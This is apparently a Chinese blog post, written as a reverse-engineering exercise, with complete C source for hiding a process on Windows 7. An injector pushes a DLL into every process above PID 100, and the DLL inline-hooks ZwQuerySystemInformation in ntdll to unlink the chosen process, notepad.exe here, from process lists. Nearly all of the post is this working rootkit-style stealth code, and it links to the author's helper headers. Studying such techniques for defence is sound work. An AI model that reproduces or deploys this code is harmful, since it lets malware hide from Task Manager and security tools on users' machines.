逆向工程核心原理 使用代码钩取技术钩取ZwQuerySystemInformation达到隐藏进程的目的

因为我喜欢把功能封装成函数集中放在头文件中,要导入两个我自己编写的头文件

链接: http://pan-yz.chaoxing.com/share/info/e9683ebe7126a18f

 

首先是注入程序  他可以将dll注入至pid>100的进程中     也可以卸载dll

隐藏进程3.c

#include <process_plus.h>
#include <stdio.h>

int main(){
    //BOOL inject = TRUE;
    BOOL inject =TRUE;//是否为注入模式,不是则为解注模式
    TCHAR *wDllName =L"c:\\Users\\administrator\\documents\\visual studio 2010\\Projects\\隐藏进程3\\debug\\stealth2.dll";\\这是注入的dll路径
    //导入stealth.dll模块
    void (*setProcName)(TCHAR*);
    HMODULE hStealth = LoadLibrary(wDllName);
    setProcName = (void (*)(TCHAR*))GetProcAddress(hStealth,"setProcName");
    //为共享变量赋值
    setProcName(L"notepad.exe");
    //全局注入或卸载
    
    //dllInject(findProcessID(L"taskmgr.exe"),wDllName);
    if(inject==TRUE)
        GlobalInject(wDllName,100);
    else
        GlobalEnject(wDllName,100);
    system("pause");
    FreeLibrary(hStealth);
}

首先是dll  它可以对ZwQuerySystemInformation下钩子  钩子函数会对进程信息进行修改 有关ZwQuerySystemInformation可查看 https://www.cnblogs.com/czlnb/p/14647108.html

stealth2.c

#include <process_plus.h>
#define DEF_NTDLL "ntdll.dll"
#define DEF_NTQUERY "ZwQuerySystemInformation"

#pragma comment(linker, "/SECTION:.SHARE,RWS")  //声明要创建一个共享节区   名字叫.SHARE ,操作权限为可读,可写,
#pragma data_seg(".SHARE")//界定节区范围   在data_seg 内声明的变量将会在指定的共享节区内
TCHAR ProcName[MAX_PATH] = {0,};
#pragma data_seg()
#ifdef __cplusplus     //如果是c++文件,就将endif内的代码用c编译器编译
extern "C" {
#endif


    __declspec(dllexport) void setProcName(LPCTSTR szProcName)//__declspec(dllexport)  声明此函数为导出函数
    {
        _tcscpy_s(ProcName, szProcName);
    }
#ifdef __cplusplus
}
#endif
typedef struct _SYSTEM_PROCESS_INFORMATION {
    ULONG NextEntryOffset; //下一个进程结构体的相对位置,用此结构体的地址加上NextEntryOffset就可以得到下一个结构体的地址
    ULONG NumberOfThreads;
    BYTE Reserved1[48];
    PVOID Reserved2[3];    //数组第二个就是进程名的字符串指针
    HANDLE UniqueProcessId;
    PVOID Reserved3;
    ULONG HandleCount;
    BYTE Reserved4[4];
    PVOID Reserved5[11];
    SIZE_T PeakPagefileUsage;
    SIZE_T PrivatePageCount;
    LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION,*PSYSTEM_PROCESS_INFORMATION;

byte pOrgBytes[5];

NTSTATUS (WINAPI *ZwQuerySystemInformation)(UINT,PVOID,ULONG,PULONG);
NTSTATUS WINAPI hookZwQuerySystemInformation(UINT  SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength){
    NTSTATUS result;
    PSYSTEM_PROCESS_INFORMATION spi;
    PSYSTEM_PROCESS_INFORMATION pre;
    unhookByCode(DEF_NTDLL,DEF_NTQUERY,(PBYTE)pOrgBytes);
    ZwQuerySystemInformation = (NTSTATUS (WINAPI *)(UINT,PVOID,ULONG,PULONG))getAPIAddress(_T(DEF_NTDLL),DEF_NTQUERY);
    result = ZwQuerySystemInformation(SystemInformationClass,SystemInformation,SystemInformationLength,ReturnLength);
    if (result!=0x00000000L)
        return result;
    if (SystemInformationClass==5)
    {
        pre = spi = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
        do 
        {
            //查看进程名是否与所隐藏进程名相等
            if (spi->Reserved2[1]!=0&&!_tcsicmp(ProcName,(PWSTR)spi->Reserved2[1]))
            {
                if (spi->NextEntryOffset==0)
                {
                    pre->NextEntryOffset=0;
                }
                else
                    pre->NextEntryOffset=spi->NextEntryOffset+pre->NextEntryOffset;
            }
            pre = spi; 
            spi = (PSYSTEM_PROCESS_INFORMATION)((ULONG)spi + spi->NextEntryOffset);
        } while (pre->NextEntryOffset!=0);
    }
    hookByCode(DEF_NTDLL,DEF_NTQUERY,(PROC)hookZwQuerySystemInformation,pOrgBytes);
    return result;
}

BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call,LPVOID lpReserved)
{    
    TCHAR procName[MAX_PATH] = {0,};
    wchar_t * p;
    GetModuleFileNameW(0,procName,MAX_PATH);
    p = wcsrchr(procName,L'\\');
    if (!wcscmp(p+1,L"隐藏进程3.exe"))
        return TRUE;
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH: //当进程加载dll时调用dllMain
        hookByCode(DEF_NTDLL,DEF_NTQUERY,(PROC)hookZwQuerySystemInformation,pOrgBytes);

        break;
    case DLL_PROCESS_DETACH: //当进程卸载dll时调用dllMain
        unhookByCode(DEF_NTDLL,DEF_NTQUERY,(PBYTE)pOrgBytes);
        break;
    case DLL_THREAD_ATTACH: //当线程加载dll时调用dllMain

        break;
    case DLL_THREAD_DETACH://当线程卸载dll时调用dllMain

        break;
    }
    return (TRUE);
}

编译环境  : vs2010 字符集 宽字节      已在window7 32位测试通过

posted @ 2021-04-14 17:39  乘舟凉  阅读(300)  评论(0编辑  收藏  举报